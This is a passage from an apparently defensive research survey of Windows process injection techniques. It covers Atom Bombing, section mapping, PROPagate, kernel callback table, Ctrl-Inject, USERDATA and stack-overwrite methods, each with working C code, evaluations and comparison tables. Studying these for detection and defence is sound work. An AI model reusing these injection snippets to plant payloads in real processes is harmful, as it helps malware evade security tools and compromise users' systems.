	HANDLE th = OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE,
thread_id);

	ATOM aux = GlobalAddAtomA("b"); // arbitrary one char string
	if (target_payload[0] == '\0')
	{
		printf("Invalid payload (starts with NUL)\n");
		exit(0);
	}
	for (DWORD64 pos = sizeof(target_payload) - 1; pos > 0; pos--)
	{
		if ((payload[pos] == '\0') && (payload[pos - 1] == '\0'))
		{
			ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)aux,
(PVOID)(((DWORD64)target_payload) + pos-1), (PVOID)2);
		}
	}

	for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos)+1)
	{
		if (*pos == '\0')
		{
			continue;
		}
		ATOM a = GlobalAddAtomA(pos);
		DWORD64 offset = pos - payload;
		ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,
(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos)+1));
	}
```

Evaluation:

- Prerequisites: process must have a thread in alertable state
- Limitations: none
- CFG/CIG-readiness: not affected
- Controlled vs. uncontrolled write address: address is fully controlled
- Stability: good

13. **Forcibly map a section (NtMapViewOfSection) write primitive (2017)**
    Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/), though used (slightly differently) for process hollowing earlier.
    a. Create a file mapping using CreateFileMapping, mapped to the system pagefile.
    b. MapViewOfFile to map it to injector process memory
    c. Copy data to the section's mapped memory
    d. NtMapViewOfSection to the target process (automatically allocates memory in the target process if base_address==NULL)

Code:

```
	HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
0, sizeof(payload), NULL);
	LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
	HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,
process_id);
	memcpy(map_addr, payload, sizeof(payload));
	LPVOID requested_target_payload=0;
	SIZE_T view_size=0;
	ntdll!NtMapViewOfSection(fm, p, &requested_target_payload, 0, sizeof(payload),
NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
	target_payload=requested_target_payload;
```

Evaluation:

- Prerequisites: none
- Limitations: cannot write to allocated memory
- CFG/CIG-readiness: not affected
- Controlled vs. uncontrolled write address: address is fully controlled, but cannot be used to write to an allocated memory. So it's better to let Windows choose the address.
- Stability: good

14. **Unmap+Overwrite execution method (2017)**

    Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/), though used (slightly differently) for process hollowing earlier.

    a. NtUnmapViewOfSection for ntdll in the target process
    b. Use any write primitive to allocate and write your own ntdll in its original address in the target process (with at least read+execute permissions, and CFG-allowed).

Execution code only (unstable):

```
	MODULEINFO ntdll_info;
	HANDLE ntdll= GetModuleHandleA("ntdll");
	GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info,
sizeof(ntdll_info));
	HANDLE p = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
	ntdll!NtUnmapViewOfSection(p, ntdll);
	// Use write primitive to allocate ntdll_info.SizeOfImage bytes at address ntdll
in the target process,
	// and write the patched ntdll code there.
```

Evaluation:

- Prerequisites: target memory must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: not affected.
- Control over registers: no
- Stability: code should take care to retain the state of the module's static variables (it's impossible to unmap partial module memory), and flush the instruction cache. This

needs to be done while the target process is suspended. This requires a memory read primitive (e.g. ReadProcessMemory), and process suspend+resume.

- Cleanup required: none

A full exploit code (including stability logic and payload writing):

```
MODULEINFO ntdll_info;
HANDLE ntdll= GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info,
sizeof(ntdll_info));
HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
0, ntdll_info.SizeOfImage, NULL);
LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION |
PROCESS_SUSPEND_RESUME, FALSE, process_id);
ntdll!NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, map_addr, ntdll_info.SizeOfImage, NULL);
// Patch NtClose in map_addr
// …
ntdll!NtUnmapViewOfSection(p, ntdll);
SIZE_T view_size=0;
ntdll!NtMapViewOfSection(fm, p, &ntdll, 0, ntdll_info.SizeOfImage, NULL,
&view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);

ntdll!NtResumeProcess(p);
```

15. **PROPagate execution method (2017)**

    Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/).

    Hat tip to Csaba Fitzl ("theevilbit") who wrote the implementation upon which our code is based (https://github.com/theevilbit/injection/tree/master/PROPagate).

    a. Write the payload to the target process memory space using any write primitive available e.g. VirtualAllocEx and WriteProcessMemory (not shown).
    b. Find a subclassed window in the target process and obtain its UxSubclassInfo property (pointer to a structure)
    c. Read the structure from the target process memory (using any read primitive available, e.g. ReadProcessMemory)
    d. Clone the structure locally and set its virtual function to point at the payload address in the target memory
    e. Write the new structure to the target process memory (arbitrary location) using any write primitive available (e.g. VirtualAllocEx+WriteProcessMemory).
    f. Set the UxSubclassInfo property of the window to point at the new structure,
    g. Trigger execution by sending a message to the window.

    Code (tailored for Explorer.exe):

```
HWND h = FindWindow("Shell_TrayWnd", NULL);
DWORD process_id;
```

```
	GetWindowThreadProcessId(h, &process_id);
	HWND hst = GetDlgItem(h, 303); // System Tray
	HWND hc = GetDlgItem(hst, 1504);
	HANDLE p = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
	char new_subclass[0x50];
	HANDLE target_new_subclass = (HANDLE)VirtualAllocEx(p, NULL, sizeof(new_subclass),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	HANDLE old_subclass = GetProp(hc, "UxSubclassInfo"); //handle is the memory
address of the current subclass structure
	ReadProcessMemory(p, (LPCVOID)old_subclass, (LPVOID)new_subclass,
sizeof(new_subclass), NULL);
	DWORD64 target_execution_ptr_value=target_execution;
	memcpy(new_subclass + 0x18, &target_execution_ptr_value,
sizeof(target_execution_ptr_value));
	WriteProcessMemory(p, (LPVOID)(target_new_subclass), (LPVOID)new_subclass,
sizeof(new_subclass), NULL); // Or any other write memory primitive
	SetProp(hc, "UxSubclassInfo", target_new_subclass);
	PostMessage(hc, WM_KEYDOWN, VK_NUMPAD1, 0);
	Sleep(1); // YMMV
	SetProp(hc, "UxSubclassInfo", old_subclass);
```

Evaluation:

- Prerequisites: A window belonging to the target process, that is subclassed. Specifically, one of Explorer's System Tray sub-windows is subclassed. Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: the target execution address must be CFG-valid.
- Control over registers: none
- Cleanup required: yes. The original subclass structure needs to be restored.

16. **KernelControlTable execution method (FinFisher/FinSpy 2018)**
    Observed in the wild, in FinFisher/FinSpy (https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/). Works only with processes that own a window. Odzhan provides a nice PoC (https://github.com/odzhan/injection/tree/master/kct) on which our code is based.
    a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory.
    b. Obtain PEB address of target process using `NtQueryInformationProcess`, read it to find the location of the kernel callback table and read it.
    c. Write a new kernel callback table with the address of __fnCOPYDATA modified to point at the target code.
    d. Trigger the target code by sending WM_COPYDATA message to a window owned by the target process.

```
	HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_OPERATION|
PROCESS_VM_READ| PROCESS_VM_WRITE, FALSE, process_id);
	PROCESS_BASIC_INFORMATION pbi;
	ntdll!NtQueryInformationProcess(p,ProcessBasicInformation, &pbi, sizeof(pbi),
NULL);
	PEB peb;
```

```
	ReadProcessMemory(p, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(p, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	LPVOID target_payload = VirtualAllocEx(p, NULL, sizeof(payload),MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(p, target_payload, payload, sizeof(payload), NULL);
	LPVOID target_kct = VirtualAllocEx(p, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)target_payload;
	WriteProcessMemory(p, target_kct, &kct, sizeof(kct), NULL);
	WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB,
KernelCallbackTable), &target_kct, sizeof(ULONG_PTR), NULL);
	COPYDATASTRUCT cds;
	cds.dwData = 1;
	wchar_t msg[] = L"foo";
	cds.cbData = lstrlenW(msg) * 2;
	cds.lpData = msg;
	SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds); // hw can be obtained via
e.g. EnumWindows
	// Cleanup
	WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB,
KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
```

Evaluation:

- Prerequisites: The target process must own a window. The target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: the target execution address must be CFG-valid.
- Control over registers: none
- Cleanup required: yes. The original kernel callback table must be restored.

17. **Ctrl-Inject execution method (2018)**

    Invented by Rotem Kerner, EnSilo (https://blog.ensilo.com/ctrl-inject).

    Works only on console applications.

    a. Write code/data using e.g. VirtualAllocEx and WriteProcessMemory (not shown)
    b. Use RtlEncodeRemotePointer(process_handle, ptr, &encoded_ptr) to get encoded pointer for the payload (or the ROP gadget)
    c. Write the encoded ptr to kernelbase!SingleHandler using e.g. WriteProcessMemory.
    d. Trigger execution by simulating Ctrl-C (SendInput for Ctrl, followed by PostMessage(handle to window,WM_KEYDOWN,'C',0) for 'C').

```
	HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,
process_id); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer
	void* encoded_addr = NULL;
	ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr);
	// Use any Memory Write Primitive here…
	WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL);

	INPUT ip;
	ip.type = INPUT_KEYBOARD;
	ip.ki.wScan = 0;
```

```
        ip.ki.time = 0;
        ip.ki.dwExtraInfo = 0;
        ip.ki.wVk = VK_CONTROL;
        ip.ki.dwFlags = 0; // 0 for key press
        SendInput(1, &ip, sizeof(INPUT));
        Sleep(100);
        PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // hWindow is a handle to the
application window
```

Evaluation:

- Prerequisites: Console application, Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: the target execution address must be CFG-valid.
- Control over registers: none
- Cleanup required: yes. The original Ctrl-C handler must be restored, also the key pressed must be released…

Cleanup code:

```
        // release the Ctrl key
        Sleep(100);
        ip.type = INPUT_KEYBOARD;
        ip.ki.wScan = 0;
        ip.ki.time = 0;
        ip.ki.dwExtraInfo = 0;
        ip.ki.wVk = VK_CONTROL;
        ip.ki.dwFlags = KEYEVENTF_KEYUP;
        SendInput(1, &ip, sizeof(INPUT));

        // Restore the original Ctrl handler in the target process
        ntdll!RtlEncodeRemotePointer(h, kernelbase!DefaultHandler, &encoded_addr);
        // Use any Memory Write Primitive here…
        WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL);
```

18. **Service Control Handler execution method (2018)**
    Invented by Odzhan (https://modexp.wordpress.com/2018/08/30/windows-process-injection-control-handler/). Limited to services, and quite complicated. In essence, it overwrites an internal service structure (IDE) in the target service process (the attacker needs to first find the IDE in the process memory, apparently there's not elegant way of doing it other than going over all RW sections of the target process memory and searching for the IDE structure) using any write primitive. The PoC is too long to provide here (it can be found in our git repository). It is based on https://github.com/odzhan/injection/tree/master/svcctrl.

19. **Message passing write primitive (2018)**
    Odzhan discusses the possibility of writing to a process using message passing APIs (https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/). He toyed with using WM_COPYDATA message (sent via SendMessage/PostMessage) and discovered that the data wound up on the stack of the listening thread. However, this is not a stable condition and as such cannot be used for reliable exploitation.

20. **USERDATA execution method (2018)**

Invented by Odzhan (https://modexp.wordpress.com/2018/09/12/process-injection-user-data/). Injects into the conhost.exe process associated with a desktop application. Our PoC is based on Odzhan's code (https://github.com/odzhan/injection/tree/master/conhost).

a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory.
b. Get the pointer to the user data virtual table using GetWindowLongPtr(…, GWLP_USERDATA)
c. Read the virtual table
d. Read the console dispatch table
e. Make a copy of the dispatch table in memory, with a modified pointer for GetWindowHandle pointing at a target code
f. Trigger the target code using SendMessage(…, WM_SETFOCUS, …)
g. Restore the pointer to the original dispatch table.

Code:

```
DWORD conhost_id = conhostId(process_id);
HANDLE hp = OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE, conhost_id);
LPVOID target_payload = VirtualAllocEx(hp, NULL, sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, target_payload, payload, sizeof(payload), NULL);
LONG_PTR udptr = GetWindowLongPtr(hWindow, GWLP_USERDATA);
ULONG_PTR vTable;
ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), NULL);
ConsoleWindow cw;
ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), NULL);
LPVOID target_cw = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
cw.GetWindowHandle = (ULONG_PTR)target_payload;
WriteProcessMemory(hp, target_cw, &cw, sizeof(ConsoleWindow), NULL);
WriteProcessMemory(hp, (LPVOID)udptr, &target_cw, sizeof(ULONG_PTR), NULL);
SendMessage(hWindow, WM_SETFOCUS, 0, 0);
WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), NULL);
```

NOTE: the ***process_id*** provided must have conshot.exe as its child (so when the application is run from a command line, ***process_id*** must belong to the cmd.exe process). hWindow is a window belonging to the process whose ID is ***process_id***.

Evaluation:

- Prerequisites: Console application, Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: the target execution address must be CFG-valid.
- Control over registers: none
- Cleanup required: yes. The original virtual table needs to be restored.

21. **ALPC execution method (2019)**

    Invented by Odzhan (https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/). Limited to processes that have ALPC ports. The PoC is too long to provide here (it can be found in our git repository), it is based on the code snippets in the blog post, as well as on https://github.com/odzhan/injection/tree/master/spooler.

    a. Search for an (undocumented) ALPC control data structure that contains a callback.
    b. Memory writing primitive is used to overwrite the callback address
    c. The injecting process enumerates over all ports and attempts to connect to each one in order to trigger the callback.

    NOTE: in Windows 10 version 1903 the ALPC port is 46 (as opposed to 45 in earlier versions).

    Evaluation:

    - Prerequisites: process uses ALPC ports, target address must be RX (at least)
    - Limitations: none
    - CFG/CIG-readiness: the target execution address must be CFG-valid.
    - Control over registers: none
    - Cleanup required: yes. The original callback needs to be restored.

22. **CLIPBRDWNDCLASS execution method (2019)**

    Hypothesized by Adam, Hexacorn (https://modexp.wordpress.com/2019/05/24/4066/) in 2018, and implemented by Odzhan (https://modexp.wordpress.com/2019/05/24/4066/) in 2019. Limited to processes that have private clipboard windows. This is somewhat unreliable, since some processes like Explorer may or may not have a private window throughout their lifetime. The technique uses SetProp to set the clipboard window property ClipboardDataObjectInterface to an object (IUnknown) whose Release virtual function points at the target code. Then execution is triggered by posting a message of type WM_DESTROYCLIPBOARD to the clipboard window (which eventually invokes the Release function of the object).
    Bottom line: not a reliable execution technique (requires private clipboard window).

23. **DnsQuery_A Callback execution method (2019)**

    Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2019/06/12/code-execution-via-surgical-callback-overwrites-e-g-dns-memory-functions/). Limited to processes that require DNS resolution (i.e. invoke DnsQuery). DnsQuery invokes DnsApi!pDnsAllocFunction (function pointer) to allocate memory, so modifying this pointer to point at a target code/function yields execution. The execution technique is implemented in 3 steps: (a) find the address of the DnsApi module in the target process; (b) overwrite its pDnsAllocFunction (a known offset from the beginning of DnsApi) with the pointer of target code; (c) Trigger DnsQuery_A in the target process. Unfortunately, step (c) is not easily achieved, therefore this technique is not too reliable.
    Bottom line: not a reliable execution technique (as it requires triggering DnsQuery_A).

24. **WNF (Windows Notification Facility) execution method (2019)**
    Invented by Odzhan (https://modexp.wordpress.com/2019/06/15/4083/). Limited to processes that use WNF (this is probably quite rare, so far we've only found one such process – explorer.exe). The code itself is too long to be included here (it can be found in our git repository).
    a. Search for the "master" WNF subscription table
    b. Traverse a linked-list of name entries to find the entry matching a specific notification name (WNF_SHEL_APPLICATION_STARTED)
    c. Locate the user subscription entry from that entry. The user subscription entry contains a callback. This callback is overwritten with an attacker-provided pointer to code
    d. Trigger the notification using NtUpdateWnfStateData.

    NOTE: we improved on the original implementation by finding the WNF subscription table via references in the NTDLL code.

25. **memset/memmove write primitive (NEW! 2019)**
    Invented by Amit Klein, Itzik Kotler, Safebreach. Requires an alertable thread.
    a. Execute memset (using NtQueueApcThread) to write a single byte to the target process.
    b. Repeat (a) until all bytes are written.
    c. If needed, copy the data atomically (via NtQueueApcThread invoking memmove)

```
HANDLE ntdll= GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);

for (int i = 0; i < sizeof(payload); i++)
{
        ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"),
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// Can finish with the "atomic" ntdll!NtQueueApcThread(t, GetProcAddress(ntdll,
"memmove"), (void*)target_payload_final,
//                                                    (void*)target_payload,
sizeof(payload));
```

    Evaluation:

    - Prerequisites: Thread must be in alertable state
    - Limitations: none
    - CFG/CIG-readiness: not affected
    - Controlled vs. uncontrolled write address: address is fully controlled
    - Stability: good

26. **"StackBomber" write primitive and execution method (NEW! 2019)**
    Invented by Amit Klein, Itzik Kotler, Safebreach. NOTE: Yuki Chen anticipated stack overwrite as an execution method in 2015 (https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf), but he did not elaborate or demonstrate, also he did not describe how to find and overwrite TOS safely, such that control is passed to the payload without crashing the original function first.

Naïve (and using memset/APC as a writing technique):

a. Read RSP via GetThreadContext
b. Override stack data with new stack, via NtQueueUserAPC(ntdll!memset, thread, destination,byte,1). Specifically, the return address stored on the stack is overwritten. Execution will commence once the alertable function returns.

Note that the 5 alertable functions call NtXXX functions which are simple wrappers around SYSCALL (SleepEx -> NtDelayExecution, WaitForSingleObjectEx -> NtWaitForSingleObject, WaitForMultipleObjectsEx -> NtWaitForMultipleObjects, SignalObjectAndWait -> NtSignalAndWaitForSingleObject, RealMsgWaitForMultipleObjectsEx -> NtUserMsgWaitForMultipleObjectsEx). These five NtXXX functions use the following template:

```
mov r10,rcx
mov eax,SERVICE_DESCRIPTOR
test byte ptr [SharedUserData+0x308],1
jne +3
syscall
ret
int 2E
ret
```

So these functions don't use the stack, therefore RSP ==TOS contains the return address, hence we know exactly where to place the ROP chain.
We can generalize this – knowing RIP usually allows us to determine where the return address is, relative to RSP. The above case becomes a special case wherein the return address offset relative to RSP is 0 (when RIP is NtXXX+0x14 for the five NtXXX functions named above).

Naïve code:

```
	HANDLE ntdll= GetModuleHandleA("ntdll");
	HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT |
THREAD_SUSPEND_RESUME, FALSE, thread_id);
	SuspendThread(t);
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(t, &ctx);
	DWORD64 tos = (DWORD64)ctx.Rsp;

	for (int i = 0; i < sizeof(ROP_chain); i++)
	{
		ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(tos+i),
(void*)*(((BYTE*)ROP_chain)+i), 1);
	}
	ResumeThread(t);
```

Of course, this technique ruins the current stack, so there's no way to resume the original thread flow. There are several alternatives:

- Backup the current stack first (using memmove), then restore it and the registers. Note: in order to accommodate the backup stack, the stack can be grown by writing a dummy value every 4KB (allocating a new page each time).
- Alternatively, the stack can be read by the injector process, using a memory read primitive (e.g. ReadProcessMemory), and embedded in the payload.
- Pivot to a new memory immediately – this ruins only the return address, and another QWORD above it (which is anyway reserved for the leaf function and unused by the 5 leaf functions mentioned above, hence can be safely overwritten with no need for restoration). The payload needs to restore RSP and the return address (only).

As for restoring registers, the 5 leaf functions do not rely on volatile registers when transferring control to the kernel, and thus it is safe to modify the volatile registers, but the non-volatile registers must be restored. Keep in mind that calling other (system) functions from the payload does not modify the non-volatile registers since they are restored before control is returned to the main payload. Thus, if the payload is written to only use volatile registers, it will be safe (with no need to restore registers).

A safe version (including clean-up):

```
	// payload mustn't modify non-volatile registers, must copy the saved return address to the original tos location (e.g. using memmove)
	// and must restore rsp and control when it's done, e.g. using GADGET_pivot.
	HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, thread_id);
	SuspendThread(t);
	CONTEXT context;
	context.ContextFlags = CONTEXT_ALL;
	GetThreadContext(t, &context)
	DWORD64 orig_tos = (DWORD64)context.Rsp;
	DWORD64 tos = orig_tos-0x2000; // 0x2000 experimentally works…

	// Grow the stack to accommodate the new stack
	for (DWORD64 i = orig_tos - 0x1000; i >= tos; i -= 0x1000)
	{
		(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(i), (void*)0, 1);
	}

	// Write the new stack
	payload[saved_tos]=orig_tos;
	for (int i = 0; i < sizeof(payload); i++)
	{
		(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(tos + i), (void*)*(((BYTE*)payload) + i), 1);
	}
	// Save the original return address into the new stack
	(*NtQueueApcThread)(t, GetProcAddress(ntdll, "memmove"), (void*)(payload[saved_return_address]), (void*)orig_tos, 8);

	// overwrite the original return address with GADGET_pivot
	for (int i = 0; i < sizeof(tos); i++)
	{
```

```
            (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos +
i), (void*)(((BYTE*)&GADGET_pivot)[i]), 1);
        }

        // overwrite the original tos+8 with the new tos address (we don't need to restore
this since it's shadow stack and not used by the leaf function!)
        for (int i = 0; i < sizeof(tos); i++)
        {
            (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos +
8 + i), (void*)(((BYTE*)&tos)[i]), 1);
        }

        ResumeThread(t);
```

Evaluation:

- Prerequisites: Thread must be in alertable state. Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: not affected.
- Control over registers: no
- Stability: since all memory writes are queued, and happen together, atomicity is not an issue.
- Cleanup required: yes. The original thread state, stack and non-volatile registers need to be restored.

Shatter-like Techniques

There are 7 Shatter-like techniques: (WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPLanting, Treepoline) described by Odzhan (https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/). Due to time shortage, we're not providing analysis and PoCs here – this will be included in a future version of the paper and PINJECTRA.

Summary of Techniques

Memory Allocation

Allocation Technique	Memory Access	CFG-valid?	Stable?
VirtualAllocEx	RWX	Yes	Yes
(allocated memory) Image (.data slack), Stack, Heap	RW	No	.data slack – Yes, Stack/Heap – depends.
NtMapViewOfSection	RWX	Yes	Yes

Memory Write

(boldface APIs are target process oriented)

Write Technique	Prerequisites/Limitations	Address control	Stable?	Main APIs used
WriteProcessMemory	None	Full	Yes	**OpenProcess, WriteProcessMemory**
Existing Shared Memory	Process must have a RW Shared Memory section	None	May be unstable	OpenFileMapping, MapViewOfFile, **OpenProcess, VirtualQueryEx, ReadProcessMemory**
Atom Bombing	Thread must be in alertable state	Full	Yes	**OpenThread,** GlobalAtomAdd, **ntdll!NtQueueApcThread**
NtMapViewOfSection	Cannot write on allocated memory (e.g. Image, Stack, Heap)	N/A	Yes	CreateFileMapping, MapViewOfFile, **OpenProcess, ntdll!NtMapViewOfSection**
memset/memmove	Thread must be in alertable state	Full	Yes	

Execution Techniques

(boldface APIs are global or target process oriented)

Execution method	Family	Prerequisites/ Limitations	CFG/CIG constraints	Controlled registers	Cleanup/Stability	Main APIs used
DLL injection via CreateRemoteThread	DLL innjection	(1) DLL on disk; (2) DLL path in target process memory; (3) Loader lock restrictions	(CIG) DLL must be MSFT-signed …	None (N/A – runs native code)		**OpenProcess+ CreateRemoteThread / OpenThread+ QueueUserAPC/ ntdll!NtQueueApcThread**
CreateRemoteThread		Target address must be RX (at least)	(CFG) Target address must be CFG-valid	RCX		**OpenProcess, CreateRemoteThread**
APC		(1) Target address must be RX (at least); (2) Thread must	(CFG) Target address must	RCX (also RDX and R8 for NtQueueApcThread)		**OpenThread, QueueUserAPC/ ntdll!NtQueueApcThread**

		be in alertable state	be CFG-valid			
Thread execution hijacking		Target address must be RX (at least).	(CFG) RSP (if set) must be within stack limits	All non volatile registers, in some cases also volatile registers	Cleanup needed in order for the original thread to resume execution	**OpenThread, SuspendThread, ResumeThread, SetThreadContext**
Windows hook	DLL injection	(1) DLL on disk; (2) target process must have user32.dll loaded (and a message loop thread)	(CIG) DLL must be MSFT-signed …	None (N/A – runs native code)		**SetWindowsHookEx**
Ghost-writing		Target address must be RX (at least)	None	All non volatile registers, in some cases also volatile registers	Cleanup needed in order for the original thread to resume execution. May be tricky!	**OpenThread, GetThreadContext, SetThreadContext, SuspendThread, ResumeThread**
SetWindowLong/ SetWindowLongPtr	Switch virtual table and trigger	(1) A window belonging to the target process, that uses the extra window bytes to store a pointer to an object with a virtual function table. Specifically, explorer's Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray object;	(CFG) Target address must be CFG-valid	None	Cleanup needed: the original CTray object must be restored, and special consideration must be given for the return state from the function	**FindWindow/OpenWindow, SetWindowLong/SetWindowLongPtr**

		(2) Target address must be RX (at least)				
Unmap+overwrite		Target address must be RX (at least)	None	None (N/A – runs native code)	Stability: code should take care to retain the state of the module's static variables (it's impossible to unmap partial module memory), and flush the instruction cache. This needs to be done while the target process is suspended. This requires a memory read primitive (e.g. ReadProcessMemory), and process suspend+resume.	**OpenProcess, ntdll!NtUnmapViewOfSection, ntdll!NtSuspendProcess, ntdll!ResumeProcess, FlushInstructionCache, ReadProcessMemory**
PROPagate	Switch virtual table and trigger	(1) A window belonging to the target process, that is subclassed. Specifically, one of Explorer's System Tray sub-windows is subclassed; (2) Target	(CFG) Target address must be CFG-valid	None	Cleanup: The original subclass structure needs to be restored.	**FindWindow/OpenWindow, GetProp, SetProp, ReadProcessMemoey**

		address must be RX (at least)				
Kernel Callback Table	Switch virtual table and trigger	(1) Target process must own a window; (2) Target address must be RX (at least)	(CFG) Target address must be CFG-valid	None	The original kernel callback table must be restored.	**FindWIndow/OpenWindow (or similar)**, **OpenProcess,** **ntdll!NtQueryInformationProcess,** **SendMessage**
Ctrl-Inject	Switch virtual table and trigger	(1) Console application; (2) Target address must be RX (at least)	(CFG) Target address must be CFG-valid	None	The original Ctrl-C handler must be restored, also the key pressed must be released.	**OpenProcess, ntdll!RtlEncodeRemotePointer, SendInput, PostMessage**
Service Control	Over write virtual table and trigger	(1) Target process must be a service; (2) Target address must be RX (at least)	(CFG) Target address must be CFG-valid	None	(Probably) restore the original handler	OpenSCManager, **OpenService, OpenProcess, ControlService, VirtualQueryEx, ReadProcessMemory**
USERDATA	Switch virtual table and trigger	(1) Console application; (2) Target address must be RX (at least)	(CFG) Target address must be CFG-valid	None	The original dispatch table pointer must be restored.	**OpenProcess,** **FindWindow/OpenWindow (or similar)** **GetWindowLongPtr,** **SendMessage**
ALPC callback	Over write virtual table and trigger	(1) Target process must have open ALPC port; (2) Target address must be RX (at least)	(CFG) Target address must be CFG-valid	None	Restore the original callback	**OpenProcess,** **VirtualQueryEx,** **NtDuplicateObject,** **NtConnectPort,** **ReadProcessMemory**
WNF callback	Over write virtual	(1) Target process must use WNF; (2) Target	(CFG) Target address	R9?	Restore the original callback	**OpenProcess,** **ReadProcessMemory,** **NtUpdateWnfStateData**

	table and trigger	address must be RX (at least)	must be CFG-valid			
Stack Bombing		(1) Target address must be RX (at least); (2) Thread must be in alertable state	None	None	Cleanup: The original thread stack and registers need to be restored. This is easy with the 5 alertable functions.	**OpenThread, GetThreadContext, SetThreadContext, ntdll!NtQueueApcThread**

Auxiliary technique

During our research, we discovered an auxiliary technique that can be helpful for future injection attack development. This technique loads a system DLL into the target process, without writing its path to the process.

Sometimes, it may be necessary to forcibly load a system DLL into a process, e.g. when a ROP gadget is needed from such DLL. Generally, an execution method with target LoadLibraryA can be used to load a DLL, provided the DLL path is in memory. Interestingly, kernelbase.dll contains a list of 1000+ system DLLs (as NUL-terminated strings). So arbitrary system DLL loading is possible even without prior write primitive. This list can be found in kernelbase!g_DllMap+8, which is a pointer to an array of structures, each structure is 3 QWORDs, the first one points to a string which is a DLL name (ASCII, NUL-terminated). The strings populate a consecutive area in the .rdata section, wherein each string is 8-byte aligned.

PoCs and Library

